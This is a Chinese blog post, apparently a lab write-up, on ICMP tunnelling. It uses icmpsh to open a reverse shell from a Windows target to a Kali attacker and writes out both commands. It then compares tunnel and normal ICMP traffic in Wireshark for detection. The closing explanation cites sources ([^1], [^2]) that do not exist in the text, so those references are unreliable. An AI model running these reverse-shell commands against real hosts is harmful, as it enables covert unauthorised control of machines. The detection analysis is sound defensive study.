ICMP隧道攻击

关于ICMP协议

1.ICMP协议的全称是互联网控制消息协议,基于IP协议发送控制消息,控制消息指的就是网络通不通,主机是否可达,路由是否可用

2.ICMP主要应用在各种网络诊断工具中,最主要的就是ping。ping可以知道对面的主机是否与自己联通

3.ICMP包可以携带少量的数据,一般来说icmp请求包和返回包的Data部分都是一样的

关于ICMP隧道攻击

由于ICMP流量会被防火墙忽略或者不完全检测,所以攻击者利用其隐蔽性,可以搭建一条ICMP隧道对靶机实现控制。缺点是不太稳定

实验

目标:用icmpsh实现反弹shell,实现攻击机对靶机的控制,同时记录并分析正常的icmp流量和icmp隧道流量的不同

攻击机:Kal-Linux-2024.1;靶机:Windows 11,两者处于同一虚拟网络中

注意icmpsh需要clone依赖项Impacket并且安装。(clone+setup.py)

在安装目录下:

sudo python2 ./icmpsh_m.py [attacker_ip] [target_ip]

 

在靶机上:

把安装目录的icmpsh.exe复制到某个目录下,打开cmd

icmpsh.exe -t [attacker_ip]

 

这样一来就成功的反弹shell了

0

用wireshark抓取流量发现如下特征:

1.ICMP包数量较大

1

2.request和reply的Data部分是不同的

这个是隧道部分流量的request和reply(注意我是在靶机上监控的流量,所以攻击机反而成了reply)

reply

2

request

3

正常部分的reply和request的Data部分均为

4

3.Data部分和正常的icmp包有所区别

前者的Data长度在实验中是64,后者是40,差异还是很明显的

### ICMP 隧道的工作原理 ICMP (Internet 控制消息协议) 主要用于在网络设备之间传递控制信息和错误报告。由于许多防火墙默认允许 ICMP 流量通过,这使得攻击者可以利用 ICMP 数据包来创建隐蔽通道,即所谓的 ICMP 隧道。 #### 工作机制 ICMP隧道的核心在于封装技术。通常情况下,正常的ICMP数据报只携带少量的信息,如回显请求或应答。但在构建ICMP隧道时,攻击者会将其他类型的网络流量(例如TCP/IP通信)嵌入到ICMP负载中[^1]。当这些被修改过的ICMP数据包到达目标主机后,专门设计的应用程序能够解析并提取原始的数据流,从而实现绕过某些安全措施的目的。 #### 实现细节 为了建立一个有效的ICMP隧道,至少需要两部分组件: - **客户端软件**:负责发送带有隐藏有效载荷的ICMP Echo Request(Type 8),并将接收到的标准Echo Reply中的内容解码还原成实际传输的数据。 - **服务器端应用**:接收来自互联网上的ICMP Echo Requests,并从中抽取真实意图传达的消息;之后再构造相应的响应——通常是标准形式的Echo Replies(Type 0),其中包含了返回给发起者的反馈信息。 这种做法依赖于双方都安装有特定版本的支持该功能的应用层工具。此外,还需要注意的是,在现代网络安全环境中,越来越多的企业级防护系统已经开始加强对异常模式下的ICMP活动监测力度,因此纯粹依靠传统方法实施此类操作的成功率正在逐渐降低[^2]。 ```bash # 这里展示了一个简单的命令行示例,用来测试基本的ICMP连通性, # 并不是真正的ICMP隧道代码。 ping -c 4 example.com ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值